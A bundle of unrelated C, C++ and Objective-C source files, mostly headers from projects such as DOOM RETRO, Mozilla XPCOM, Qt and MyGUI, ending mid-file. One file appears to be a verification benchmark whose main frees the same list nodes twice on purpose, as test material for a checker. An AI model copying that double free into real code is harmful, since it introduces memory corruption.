/******************************************************************************* * File Name: LED_2.h * Version 2.20 * * Description: * This file contains the Alias definitions for Per-Pin APIs in cypins.h. * Information on using these APIs can be found in the System Reference Guide. * * Note: * ******************************************************************************** * Copyright 2008-2015, Cypress Semiconductor Corporation. All rights reserved. * You may use this file only in accordance with the license, terms, conditions, * disclaimers, and limitations in the end user license agreement accompanying * the software package with which this file was provided. *******************************************************************************/ #if !defined(CY_PINS_LED_2_ALIASES_H) /* Pins LED_2_ALIASES_H */ #define CY_PINS_LED_2_ALIASES_H #include "cytypes.h" #include "cyfitter.h" #include "cypins.h" /*************************************** * Constants ***************************************/ #define LED_2_0 (LED_2__0__PC) #define LED_2_0_PS (LED_2__0__PS) #define LED_2_0_PC (LED_2__0__PC) #define LED_2_0_DR (LED_2__0__DR) #define LED_2_0_SHIFT (LED_2__0__SHIFT) #define LED_2_0_INTR ((uint16)((uint16)0x0003u << (LED_2__0__SHIFT*2u))) #define LED_2_INTR_ALL ((uint16)(LED_2_0_INTR)) #endif /* End Pins LED_2_ALIASES_H */ /* [] END OF FILE */
/* ======================================================================== DOOM RETRO The classic, refined DOOM source port. For Windows PC. ======================================================================== Copyright (C) 1993-2012 id Software LLC, a ZeniMax Media company. Copyright (C) 2013-2015 Brad Harding. DOOM RETRO is a fork of CHOCOLATE DOOM by Simon Howard. For a complete list of credits, see the accompanying AUTHORS file. This file is part of DOOM RETRO. DOOM RETRO is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. DOOM RETRO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with DOOM RETRO. If not, see <http://www.gnu.org/licenses/>. DOOM is a registered trademark of id Software LLC, a ZeniMax Media company, in the US and/or other countries and is used without permission. All other trademarks are the property of their respective holders. DOOM RETRO is in no way affiliated with nor endorsed by id Software LLC. ======================================================================== */ #if !defined(__R_LOCAL__) #define __R_LOCAL__ // Binary Angles, sine/cosine/atan lookups. #include "tables.h" // Screen size related parameters. #include "doomdef.h" // Include the refresh/render data structs. #include "r_data.h" // // Separate header file for each module. // #include "r_main.h" #include "r_bsp.h" #include "r_segs.h" #include "r_plane.h" #include "r_data.h" #include "r_things.h" #include "r_draw.h" #endif
#include "grib_api.h" void usage(char* prog) { printf("usage: %s in.nc\n",prog); exit(1); } int main(int argc,char* argv[]) { char* file; int err=0; grib_handle* h; char identifier[7]={0,}; size_t len=7; grib_context* c=grib_context_get_default(); if (argc>2) usage(argv[0]); file=argv[1]; h=grib_handle_new_from_nc_file(c,file,&err); grib_get_string(h,"identifier",identifier,&len); printf("%s\n",identifier); GRIB_CHECK(err,0); return err; }
/* This file is part of Darling. Copyright (C) 2017 Lubos Dolezel Darling is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Darling is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Darling. If not, see <http://www.gnu.org/licenses/>. */ #include <Foundation/Foundation.h> @interface CUIOuterGlowOrShadowFilter : NSObject @end
/* * * GFLIP - Geometrical FLIRT Phrases for Large Scale Place Recognition * Copyright (C) 2012-2013 Gian Diego Tipaldi and Luciano Spinello and Wolfram * Burgard * * This file is part of GFLIP. * * GFLIP is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * GFLIP is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with GFLIP. If not, see <http://www.gnu.org/licenses/>. */ #ifndef VOCABULARY_H_ #define VOCABULARY_H_ #include <boost/serialization/utility.hpp> #include <boost/serialization/vector.hpp> #include <boost/serialization/list.hpp> #include <boost/serialization/access.hpp> #include <boost/serialization/nvp.hpp> #include <boost/serialization/export.hpp> #include <utils/HistogramDistances.h> /** * Representation for a generic feature vector to be used as a word in a dictionary. * The class represents a generic feature vector with weights for each dimension. It is used as a word in the Bag of Words sense. * It defines the interface for computing a similiarity values between words and estimate a mean vector given multiple vectors. * * @author Gian Diego Tipaldi */ class HistogramFeatureWord { public: typedef std::list< std::vector<double> > ElementList; typedef std::list< std::vector<double> > WeightList; typedef std::list< std::vector<double> >::iterator ElementListIt; typedef std::list< std::vector<double> >::iterator WeightListIt; typedef std::list< std::vector<double> >::const_iterator ElementListCIt; typedef std::list< std::vector<double> >::const_iterator WeightListCIt; /** * Constructor. It creates the feature word providing the feature vector, a distance function and the weights' vector. * * @param histogram The feature vector representing this word. * @param distance The distance function used to compute the similarity between feature vectors. * @param weights The weights' vector to scale the individual dimension of the feature vector. */ HistogramFeatureWord(const std::vector<double>& histogram = std::vector<double>(), const HistogramDistance<double>* distance = NULL, const std::vector<double>& weights = std::vector<double>()); /** Returns the histogram used to represent the feature vector. */ inline const std::vector<double>& getHistogram() const {return m_histogram;} /** Returns the vector used to represent the mean of different words. It is used during the KMeans algorithm. */ inline const std::vector<double>& getMean() const {return m_mean;} /** Returns the histogram used to represent the weights' vector. */ inline const std::vector<double>& getWeights() const {return m_weights;} /** Returns the similarity between feature words. Mainly used during KMeans. */ double sim(const HistogramFeatureWord* other) const; /** Returns the similarity between the feature word and a feature vector. */ double sim(const std::vector<double>& histogram) const; /** Returns the similarity between the feature word and a feature vector, considering the weights for each dimension. */ double sim(const std::vector<double>& histogram, const std::vector<double>& weights) const; /** Merges the current feature vector with @param other. Mainly used during KMeans. */ void merge(HistogramFeatureWord* other); /** Returns the elements belonging to this word during KMeans. */ inline const std::list< std::vector<double> >& getElements() const {return m_elements;} /** Sets the distance function to be used for copmuting the similarity. */ inline void setDistance(const HistogramDistance<double>* distance) {m_distance = distance;} protected: std::vector<double> m_histogram; /**< The feature vector as histogram. */ std::vector<double> m_mean; /**< The feature vector as the mean of the elements of this word. Mainly used during KMeans. */ std::vector<double> m_weights; /**< The weights' vector. */ unsigned int m_number; /**< The number of elements for this word. Mainly used for KMeans. */ const HistogramDistance<double>* m_distance; /**< The distance function. */ std::list< std::vector<double> > m_elements; /**< The elements of this word. Mainly used during KMeans. */ std::list< std::vector<double> > m_elementsWeights; /** The weights' vector for the elements of this word. Mainly used during KMeans. */ friend class boost::serialization::access; /** Serializes the class using boost::serialization. */ template<class Archive> void serialize(Archive & ar, const unsigned int version); }; /** Representation of a vocabulary as a vector of words. */ typedef std::vector< HistogramFeatureWord > HistogramVocabulary; // template<typename HistogramDistance> // class HistogramFeatureVocabulary: std::vector< HistogramFeatureWord<HistogramFeatureWord> > { // // }; template<class Archive> void HistogramFeatureWord::serialize(Archive& ar, const unsigned int version) { ar & BOOST_SERIALIZATION_NVP(m_histogram); ar & BOOST_SERIALIZATION_NVP(m_mean); ar & BOOST_SERIALIZATION_NVP(m_weights); ar & BOOST_SERIALIZATION_NVP(m_number); ar & BOOST_SERIALIZATION_NVP(m_elements); } #endif
/* * This file is part of Hootenanny. * * Hootenanny is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * -------------------------------------------------------------------- * * The following copyright notices are generated automatically. If you * have a new notice to add, please use the format: * " * @copyright Copyright ..." * This will properly maintain the copyright information. DigitalGlobe * copyrights will be updated automatically. * * @copyright Copyright (C) 2014 DigitalGlobe (http://www.digitalglobe.com/) */ #ifndef MERGERBASE_H #define MERGERBASE_H #include <hoot/core/conflate/Merger.h> namespace hoot { class MergerBase : public Merger { public: static std::string className() { return "hoot::MergerBase"; } typedef set< pair<ElementId, ElementId> > PairsSet; MergerBase() {} virtual ~MergerBase() {} virtual set<ElementId> getImpactedElementIds() const; virtual bool isValid(const ConstOsmMapPtr& map) const; virtual void replace(ElementId oldEid, ElementId newEid); virtual QString toString() const { return QString("Unimplemented toString()"); } protected: virtual PairsSet& getPairs() = 0; virtual const PairsSet& getPairs() const = 0; }; } #endif // MERGERBASE_H
/* * DO NOT EDIT. THIS FILE IS GENERATED FROM ../../../dist/idl\nsIDOMCSSFontFaceRule.idl */ #ifndef __gen_nsIDOMCSSFontFaceRule_h__ #define __gen_nsIDOMCSSFontFaceRule_h__ #ifndef __gen_nsIDOMCSSRule_h__ #include "nsIDOMCSSRule.h" #endif /* For IDL files that don't want to include root IDL files. */ #ifndef NS_NO_VTABLE #define NS_NO_VTABLE #endif /* starting interface: nsIDOMCSSFontFaceRule */ #define NS_IDOMCSSFONTFACERULE_IID_STR "a6cf90bb-15b3-11d2-932e-00805f8add32" #define NS_IDOMCSSFONTFACERULE_IID \ {0xa6cf90bb, 0x15b3, 0x11d2, \ { 0x93, 0x2e, 0x00, 0x80, 0x5f, 0x8a, 0xdd, 0x32 }} class NS_NO_VTABLE nsIDOMCSSFontFaceRule : public nsIDOMCSSRule { public: NS_DECLARE_STATIC_IID_ACCESSOR(NS_IDOMCSSFONTFACERULE_IID) /* readonly attribute nsIDOMCSSStyleDeclaration style; */ NS_IMETHOD GetStyle(nsIDOMCSSStyleDeclaration * *aStyle) = 0; }; NS_DEFINE_STATIC_IID_ACCESSOR(nsIDOMCSSFontFaceRule, NS_IDOMCSSFONTFACERULE_IID) /* Use this macro when declaring classes that implement this interface. */ #define NS_DECL_NSIDOMCSSFONTFACERULE \ NS_IMETHOD GetStyle(nsIDOMCSSStyleDeclaration * *aStyle); /* Use this macro to declare functions that forward the behavior of this interface to another object. */ #define NS_FORWARD_NSIDOMCSSFONTFACERULE(_to) \ NS_IMETHOD GetStyle(nsIDOMCSSStyleDeclaration * *aStyle) { return _to GetStyle(aStyle); } /* Use this macro to declare functions that forward the behavior of this interface to another object in a safe way. */ #define NS_FORWARD_SAFE_NSIDOMCSSFONTFACERULE(_to) \ NS_IMETHOD GetStyle(nsIDOMCSSStyleDeclaration * *aStyle) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetStyle(aStyle); } #if 0 /* Use the code below as a template for the implementation class for this interface. */ /* Header file */ class nsDOMCSSFontFaceRule : public nsIDOMCSSFontFaceRule { public: NS_DECL_ISUPPORTS NS_DECL_NSIDOMCSSFONTFACERULE nsDOMCSSFontFaceRule(); private: ~nsDOMCSSFontFaceRule(); protected: /* additional members */ }; /* Implementation file */ NS_IMPL_ISUPPORTS1(nsDOMCSSFontFaceRule, nsIDOMCSSFontFaceRule) nsDOMCSSFontFaceRule::nsDOMCSSFontFaceRule() { /* member initializers and constructor code */ } nsDOMCSSFontFaceRule::~nsDOMCSSFontFaceRule() { /* destructor code */ } /* readonly attribute nsIDOMCSSStyleDeclaration style; */ NS_IMETHODIMP nsDOMCSSFontFaceRule::GetStyle(nsIDOMCSSStyleDeclaration * *aStyle) { return NS_ERROR_NOT_IMPLEMENTED; } /* End of implementation class template. */ #endif #endif /* __gen_nsIDOMCSSFontFaceRule_h__ */
/******************************************************************************** ** Form generated from reading UI file 'mainwindow.ui' ** ** Created by: Qt User Interface Compiler version 5.6.0 ** ** WARNING! All changes made in this file will be lost when recompiling UI file! ********************************************************************************/ #ifndef UI_MAINWINDOW_H #define UI_MAINWINDOW_H #include <QtCore/QVariant> #include <QtWidgets/QAction> #include <QtWidgets/QApplication> #include <QtWidgets/QButtonGroup> #include <QtWidgets/QHeaderView> #include <QtWidgets/QLabel> #include <QtWidgets/QLineEdit> #include <QtWidgets/QMainWindow> #include <QtWidgets/QPushButton> #include <QtWidgets/QRadioButton> #include <QtWidgets/QStatusBar> #include <QtWidgets/QTextEdit> #include <QtWidgets/QWidget> QT_BEGIN_NAMESPACE class Ui_MainWindow { public: QWidget *centralWidget; QPushButton *btn_create; QLabel *l_num; QLabel *l_result; QLineEdit *lEdit_num; QLabel *result_print; QRadioButton *radioBtn_repeat; QPushButton *btn_reset; QLabel *l_from; QLabel *l_to; QLineEdit *lEdit_to; QLineEdit *lEdit_from; QTextEdit *textEdit; QStatusBar *statusBar; void setupUi(QMainWindow *MainWindow) { if (MainWindow->objectName().isEmpty()) MainWindow->setObjectName(QStringLiteral("MainWindow")); MainWindow->resize(455, 381); QFont font; font.setFamily(QStringLiteral("Noto Sans T Chinese Medium")); font.setPointSize(12); MainWindow->setFont(font); centralWidget = new QWidget(MainWindow); centralWidget->setObjectName(QStringLiteral("centralWidget")); btn_create = new QPushButton(centralWidget); btn_create->setObjectName(QStringLiteral("btn_create")); btn_create->setGeometry(QRect(359, 50, 75, 31)); QFont font1; font1.setFamily(QStringLiteral("Noto Sans T Chinese Medium")); font1.setPointSize(12); font1.setBold(false); font1.setWeight(50); btn_create->setFont(font1); l_num = new QLabel(centralWidget); l_num->setObjectName(QStringLiteral("l_num")); l_num->setGeometry(QRect(20, 49, 90, 23)); l_num->setFont(font1); l_result = new QLabel(centralWidget); l_result->setObjectName(QStringLiteral("l_result")); l_result->setGeometry(QRect(20, 80, 61, 23)); l_result->setFont(font1); lEdit_num = new QLineEdit(centralWidget); lEdit_num->setObjectName(QStringLiteral("lEdit_num")); lEdit_num->setGeometry(QRect(120, 50, 91, 28)); lEdit_num->setFont(font); lEdit_num->setAlignment(Qt::AlignCenter); result_print = new QLabel(centralWidget); result_print->setObjectName(QStringLiteral("result_print")); result_print->setGeometry(QRect(20, 120, 411, 161)); result_print->setFont(font); result_print->setAlignment(Qt::AlignLeading|Qt::AlignLeft|Qt::AlignTop); result_print->setWordWrap(true); radioBtn_repeat = new QRadioButton(centralWidget); radioBtn_repeat->setObjectName(QStringLiteral("radioBtn_repeat")); radioBtn_repeat->setGeometry(QRect(230, 50, 120, 27)); radioBtn_repeat->setFont(font1); radioBtn_repeat->setChecked(true); btn_reset = new QPushButton(centralWidget); btn_reset->setObjectName(QStringLiteral("btn_reset")); btn_reset->setGeometry(QRect(360, 320, 75, 31)); btn_reset->setFont(font1); l_from = new QLabel(centralWidget); l_from->setObjectName(QStringLiteral("l_from")); l_from->setGeometry(QRect(20, 13, 41, 23)); l_from->setFont(font1); l_to = new QLabel(centralWidget); l_to->setObjectName(QStringLiteral("l_to")); l_to->setGeometry(QRect(243, 13, 16, 23)); l_to->setFont(font1); lEdit_to = new QLineEdit(centralWidget); lEdit_to->setObjectName(QStringLiteral("lEdit_to")); lEdit_to->setGeometry(QRect(265, 13, 170, 28)); lEdit_to->setFont(font); lEdit_to->setAlignment(Qt::AlignCenter); lEdit_from = new QLineEdit(centralWidget); lEdit_from->setObjectName(QStringLiteral("lEdit_from")); lEdit_from->setGeometry(QRect(67, 13, 170, 28)); lEdit_from->setFont(font); lEdit_from->setAlignment(Qt::AlignCenter); textEdit = new QTextEdit(centralWidget); textEdit->setObjectName(QStringLiteral("textEdit")); textEdit->setGeometry(QRect(20, 110, 411, 201)); textEdit->setFont(font); MainWindow->setCentralWidget(centralWidget); statusBar = new QStatusBar(MainWindow); statusBar->setObjectName(QStringLiteral("statusBar")); MainWindow->setStatusBar(statusBar); retranslateUi(MainWindow); QMetaObject::connectSlotsByName(MainWindow); } // setupUi void retranslateUi(QMainWindow *MainWindow) { MainWindow->setWindowTitle(QApplication::translate("MainWindow", "Create Random Numbers", 0)); btn_create->setText(QApplication::translate("MainWindow", "create", 0)); l_num->setText(QApplication::translate("MainWindow", "How many?", 0)); l_result->setText(QApplication::translate("MainWindow", "result\357\274\232", 0)); lEdit_num->setText(QApplication::translate("MainWindow", "1", 0)); result_print->setText(QString()); radioBtn_repeat->setText(QApplication::translate("MainWindow", "Allow repeat", 0)); btn_reset->setText(QApplication::translate("MainWindow", "reset", 0)); l_from->setText(QApplication::translate("MainWindow", "From", 0)); l_to->setText(QApplication::translate("MainWindow", "to", 0)); } // retranslateUi }; namespace Ui { class MainWindow: public Ui_MainWindow {}; } // namespace Ui QT_END_NAMESPACE #endif // UI_MAINWINDOW_H
#ifndef __LOG_H__ #define __LOG_H__ 1 #include <syslog.h> #include <iostream> #include <iomanip> enum LogPriority { kLogEmerg = LOG_EMERG, // system is unusable kLogAlert = LOG_ALERT, // action must be taken immediately kLogCrit = LOG_CRIT, // critical conditions kLogErr = LOG_ERR, // error conditions kLogWarning = LOG_WARNING, // warning conditions kLogNotice = LOG_NOTICE, // normal, but significant, condition kLogInfo = LOG_INFO, // informational message kLogDebug = LOG_DEBUG // debug-level message }; std::ostream& operator<< (std::ostream& os, const LogPriority& log_priority); class Log : public std::basic_streambuf<char, std::char_traits<char> > { public: explicit Log(std::string ident, int facility); protected: int sync(); int overflow(int c); private: friend std::ostream& operator<< (std::ostream& os, const LogPriority& log_priority); std::string buffer_; int facility_; int priority_; char ident_[50]; }; #endif
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); #include <stdlib.h> #include <string.h> static void *calloc_model(size_t nmemb, size_t size) { void *ptr = malloc(nmemb * size); return memset(ptr, 0, nmemb * size); } extern int __VERIFIER_nondet_int(void); struct L4 { struct L4 *next; struct L5 *down; }; struct L3 { struct L4 *down; struct L3 *next; }; struct L2 { struct L2 *next; struct L3 *down; }; struct L1 { struct L2 *down; struct L1 *next; }; struct L0 { struct L0 *next; struct L1 *down; }; static void* zalloc_or_die(unsigned size) { void *ptr = calloc_model(1U, size); if (ptr) return ptr; abort(); } static void l4_insert(struct L4 **list) { struct L4 *item = zalloc_or_die(sizeof *item); item->down = zalloc_or_die(119U); item->next = *list; *list = item; } static void l3_insert(struct L3 **list) { struct L3 *item = zalloc_or_die(sizeof *item); int c = 0; do { c++; l4_insert(&item->down); } while (c < 2); item->next = *list; *list = item; } static void l2_insert(struct L2 **list) { struct L2 *item = zalloc_or_die(sizeof *item); int c = 0; do { c++; l3_insert(&item->down); } while (c < 2); item->next = *list; *list = item; } static void l1_insert(struct L1 **list) { struct L1 *item = zalloc_or_die(sizeof *item); int c = 0; do { c++; l2_insert(&item->down); } while (c < 2); item->next = *list; *list = item; } static void l0_insert(struct L0 **list) { struct L0 *item = zalloc_or_die(sizeof *item); int c = 0; do { c++; l1_insert(&item->down); } while (c < 2); item->next = *list; *list = item; } static void l4_destroy(struct L4 *list, int level) { do { if (5 == level) free(list->down); struct L4 *next = list->next; if (4 == level) free(list); list = next; } while (list); } static void l3_destroy(struct L3 *list, int level) { do { if (3 < level) l4_destroy(list->down, level); struct L3 *next = list->next; if (3 == level) free(list); list = next; } while (list); } static void l2_destroy(struct L2 *list, int level) { do { if (2 < level) l3_destroy(list->down, level); struct L2 *next = list->next; if (2 == level) free(list); list = next; } while (list); } static void l1_destroy(struct L1 *list, int level) { do { if (1 < level) l2_destroy(list->down, level); struct L1 *next = list->next; if (1 == level) free(list); list = next; } while (list); } static void l0_destroy(struct L0 *list, int level) { do { if (0 < level) l1_destroy(list->down, level); struct L0 *next = list->next; if (0 == level) free(list); list = next; } while (list); } int main() { static struct L0 *list; int c = 0; do { c++; l0_insert(&list); } while (c < 3 && __VERIFIER_nondet_int()); l0_destroy(list, /* level */ 5); l0_destroy(list, /* level */ 4); l0_destroy(list, /* level */ 3); l0_destroy(list, /* level */ 2); l0_destroy(list, /* level */ 2); l0_destroy(list, /* level */ 1); l0_destroy(list, /* level */ 0); return !!list; }
// // BYQuickShotView.h // QuickShotView // // Created by Dario Lass on 22.03.13. // Copyright (c) 2013 Bytolution. All rights reserved. // #import <UIKit/UIKit.h> #import <AVFoundation/AVFoundation.h> @protocol BYQuickShotViewDelegate <NSObject> - (void)didTakeSnapshot:(UIImage*)img; - (void)didDiscardLastImage; @end @interface BYQuickShotView : UIView { CGPoint offset; NSMutableDictionary *plist; NSInteger bgColor; } @property (nonatomic, strong) id <BYQuickShotViewDelegate> delegate; @property (nonatomic, assign) BOOL draggable; -(id)grabPrefColor:(NSInteger)colorBG; @end
/* -*- Mode: C++; tab-width: 20; indent-tabs-mode: nil; c-basic-offset: 4 -*- * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef GFX_IMAGESURFACE_H #define GFX_IMAGESURFACE_H #include "mozilla/MemoryReporting.h" #include "mozilla/RefPtr.h" #include "gfxASurface.h" #include "nsAutoPtr.h" #include "nsSize.h" // ARGB -- raw buffer.. wont be changed.. good for storing data. class gfxSubimageSurface; namespace mozilla { namespace gfx { class DataSourceSurface; class SourceSurface; } } /** * A raw image buffer. The format can be set in the constructor. Its main * purpose is for storing read-only images and using it as a source surface, * but it can also be drawn to. */ class gfxImageSurface : public gfxASurface { public: /** * Construct an image surface around an existing buffer of image data. * @param aData A buffer containing the image data * @param aSize The size of the buffer * @param aStride The stride of the buffer * @param format Format of the data * * @see gfxImageFormat */ gfxImageSurface(unsigned char *aData, const gfxIntSize& aSize, long aStride, gfxImageFormat aFormat); /** * Construct an image surface. * @param aSize The size of the buffer * @param format Format of the data * * @see gfxImageFormat */ gfxImageSurface(const gfxIntSize& size, gfxImageFormat format, bool aClear = true); /** * Construct an image surface, with a specified stride and allowing the * allocation of more memory than required for the storage of the surface * itself. When aStride and aMinimalAllocation are <=0, this constructor * is the equivalent of the preceeding one. * * @param format Format of the data * @param aSize The size of the buffer * @param aStride The stride of the buffer - if <=0, use ComputeStride() * @param aMinimalAllocation Allocate at least this many bytes. If smaller * than width * stride, or width*stride <=0, this value is ignored. * @param aClear * * @see gfxImageFormat */ gfxImageSurface(const gfxIntSize& aSize, gfxImageFormat aFormat, long aStride, int32_t aMinimalAllocation, bool aClear); gfxImageSurface(cairo_surface_t *csurf); virtual ~gfxImageSurface(); // ImageSurface methods gfxImageFormat Format() const { return mFormat; } virtual const gfxIntSize GetSize() const { return mSize; } int32_t Width() const { return mSize.width; } int32_t Height() const { return mSize.height; } /** * Distance in bytes between the start of a line and the start of the * next line. */ int32_t Stride() const { return mStride; } /** * Returns a pointer for the image data. Users of this function can * write to it, but must not attempt to free the buffer. */ unsigned char* Data() const { return mData; } // delete this data under us and die. /** * Returns the total size of the image data. */ int32_t GetDataSize() const { return mStride*mSize.height; } /* Fast copy from another image surface; returns TRUE if successful, FALSE otherwise */ bool CopyFrom (gfxImageSurface *other); /** * Fast copy from a source surface; returns TRUE if successful, FALSE otherwise * Assumes that the format of this surface is compatable with aSurface */ bool CopyFrom (mozilla::gfx::SourceSurface *aSurface); /** * Fast copy to a source surface; returns TRUE if successful, FALSE otherwise * Assumes that the format of this surface is compatible with aSurface */ bool CopyTo (mozilla::gfx::SourceSurface *aSurface); /** * Copy to a Moz2D DataSourceSurface. * Marked as virtual so that browsercomps can access this method. */ virtual mozilla::TemporaryRef<mozilla::gfx::DataSourceSurface> CopyToB8G8R8A8DataSourceSurface(); /* return new Subimage with pointing to original image starting from aRect.pos * and size of aRect.size. New subimage keeping current image reference */ already_AddRefed<gfxSubimageSurface> GetSubimage(const gfxRect& aRect); virtual already_AddRefed<gfxImageSurface> GetAsImageSurface(); /** See gfxASurface.h. */ virtual void MovePixels(const nsIntRect& aSourceRect, const nsIntPoint& aDestTopLeft) MOZ_OVERRIDE; static long ComputeStride(const gfxIntSize&, gfxImageFormat); virtual size_t SizeOfExcludingThis(mozilla::MallocSizeOf aMallocSizeOf) const MOZ_OVERRIDE; virtual size_t SizeOfIncludingThis(mozilla::MallocSizeOf aMallocSizeOf) const MOZ_OVERRIDE; virtual bool SizeOfIsMeasured() const MOZ_OVERRIDE; protected: gfxImageSurface(); void InitWithData(unsigned char *aData, const gfxIntSize& aSize, long aStride, gfxImageFormat aFormat); /** * See the parameters to the matching constructor. This should only * be called once, in the constructor, which has already set mSize * and mFormat. */ void AllocateAndInit(long aStride, int32_t aMinimalAllocation, bool aClear); void InitFromSurface(cairo_surface_t *csurf); long ComputeStride() const { return ComputeStride(mSize, mFormat); } void MakeInvalid(); gfxIntSize mSize; bool mOwnsData; unsigned char *mData; gfxImageFormat mFormat; long mStride; }; class gfxSubimageSurface : public gfxImageSurface { protected: friend class gfxImageSurface; gfxSubimageSurface(gfxImageSurface* aParent, unsigned char* aData, const gfxIntSize& aSize, gfxImageFormat aFormat); private: nsRefPtr<gfxImageSurface> mParent; }; #endif /* GFX_IMAGESURFACE_H */
/*! @file @author Albert Semenov @date 10/2010 */ #ifndef __MESSAGE_BOX_STYLE_H__ #define __MESSAGE_BOX_STYLE_H__ #include <vector> #include <cstddef> //#include <MyGUI_Prerequest.h> namespace MyGUI { struct MessageBoxStyle { #define MYGUI_FLAG_NONE 0 #define MYGUI_FLAG(num) (1<<(num)) enum Enum { None = MYGUI_FLAG_NONE, Ok = MYGUI_FLAG(0), Yes = MYGUI_FLAG(1), No = MYGUI_FLAG(2), Abort = MYGUI_FLAG(3), Retry = MYGUI_FLAG(4), Ignore = MYGUI_FLAG(5), Cancel = MYGUI_FLAG(6), Try = MYGUI_FLAG(7), Continue = MYGUI_FLAG(8), _IndexUserButton1 = 9, // индекс первой кнопки юзера Button1 = MYGUI_FLAG(_IndexUserButton1), Button2 = MYGUI_FLAG(_IndexUserButton1 + 1), Button3 = MYGUI_FLAG(_IndexUserButton1 + 2), Button4 = MYGUI_FLAG(_IndexUserButton1 + 3), _CountUserButtons = 4, // колличество кнопок юзера _IndexIcon1 = _IndexUserButton1 + _CountUserButtons, // индекс первой иконки IconDefault = MYGUI_FLAG(_IndexIcon1), IconInfo = MYGUI_FLAG(_IndexIcon1), IconQuest = MYGUI_FLAG(_IndexIcon1 + 1), IconError = MYGUI_FLAG(_IndexIcon1 + 2), IconWarning = MYGUI_FLAG(_IndexIcon1 + 3), Icon1 = MYGUI_FLAG(_IndexIcon1), Icon2 = MYGUI_FLAG(_IndexIcon1 + 1), Icon3 = MYGUI_FLAG(_IndexIcon1 + 2), Icon4 = MYGUI_FLAG(_IndexIcon1 + 3), Icon5 = MYGUI_FLAG(_IndexIcon1 + 4), Icon6 = MYGUI_FLAG(_IndexIcon1 + 5), Icon7 = MYGUI_FLAG(_IndexIcon1 + 6), Icon8 = MYGUI_FLAG(_IndexIcon1 + 7) }; MessageBoxStyle(Enum _value = None) : value(_value) { } MessageBoxStyle& operator |= (MessageBoxStyle const& _other) { value = Enum(int(value) | int(_other.value)); return *this; } friend MessageBoxStyle operator | (Enum const& a, Enum const& b) { return MessageBoxStyle(Enum(int(a) | int(b))); } MessageBoxStyle operator | (Enum const& a) { return MessageBoxStyle(Enum(int(value) | int(a))); } friend bool operator == (MessageBoxStyle const& a, MessageBoxStyle const& b) { return a.value == b.value; } friend bool operator != (MessageBoxStyle const& a, MessageBoxStyle const& b) { return a.value != b.value; } /*friend std::ostream& operator << (std::ostream& _stream, const MessageBoxStyle& _value) { //_stream << _value.print(); return _stream; } friend std::istream& operator >> (std::istream& _stream, MessageBoxStyle& _value) { std::string value; _stream >> value; _value = parse(value); return _stream; }*/ size_t getIconIndex(); size_t getButtonIndex(); std::vector<MessageBoxStyle> getButtons(); //typedef std::map<std::string, int> MapAlign; //static MessageBoxStyle parse(const std::string& _value); //private: //const MapAlign& getValueNames(); private: Enum value; }; } // namespace MyGUI #endif // __MESSAGE_BOX_STYLE_H__
/* * DO NOT EDIT. THIS FILE IS GENERATED FROM ../../../dist/idl\nsICookie2.idl */ #ifndef __gen_nsICookie2_h__ #define __gen_nsICookie2_h__ #ifndef __gen_nsICookie_h__ #include "nsICookie.h" #endif /* For IDL files that don't want to include root IDL files. */ #ifndef NS_NO_VTABLE #define NS_NO_VTABLE #endif /* starting interface: nsICookie2 */ #define NS_ICOOKIE2_IID_STR "05c420e5-03d0-4c7b-a605-df7ebe5ca326" #define NS_ICOOKIE2_IID \ {0x05c420e5, 0x03d0, 0x4c7b, \ { 0xa6, 0x05, 0xdf, 0x7e, 0xbe, 0x5c, 0xa3, 0x26 }} class NS_NO_VTABLE nsICookie2 : public nsICookie { public: NS_DECLARE_STATIC_IID_ACCESSOR(NS_ICOOKIE2_IID) /* readonly attribute AUTF8String rawHost; */ NS_IMETHOD GetRawHost(nsACString & aRawHost) = 0; /* readonly attribute boolean isSession; */ NS_IMETHOD GetIsSession(bool *aIsSession) = 0; /* readonly attribute int64_t expiry; */ NS_IMETHOD GetExpiry(int64_t *aExpiry) = 0; /* readonly attribute boolean isHttpOnly; */ NS_IMETHOD GetIsHttpOnly(bool *aIsHttpOnly) = 0; /* readonly attribute int64_t creationTime; */ NS_IMETHOD GetCreationTime(int64_t *aCreationTime) = 0; /* readonly attribute int64_t lastAccessed; */ NS_IMETHOD GetLastAccessed(int64_t *aLastAccessed) = 0; }; NS_DEFINE_STATIC_IID_ACCESSOR(nsICookie2, NS_ICOOKIE2_IID) /* Use this macro when declaring classes that implement this interface. */ #define NS_DECL_NSICOOKIE2 \ NS_IMETHOD GetRawHost(nsACString & aRawHost); \ NS_IMETHOD GetIsSession(bool *aIsSession); \ NS_IMETHOD GetExpiry(int64_t *aExpiry); \ NS_IMETHOD GetIsHttpOnly(bool *aIsHttpOnly); \ NS_IMETHOD GetCreationTime(int64_t *aCreationTime); \ NS_IMETHOD GetLastAccessed(int64_t *aLastAccessed); /* Use this macro to declare functions that forward the behavior of this interface to another object. */ #define NS_FORWARD_NSICOOKIE2(_to) \ NS_IMETHOD GetRawHost(nsACString & aRawHost) { return _to GetRawHost(aRawHost); } \ NS_IMETHOD GetIsSession(bool *aIsSession) { return _to GetIsSession(aIsSession); } \ 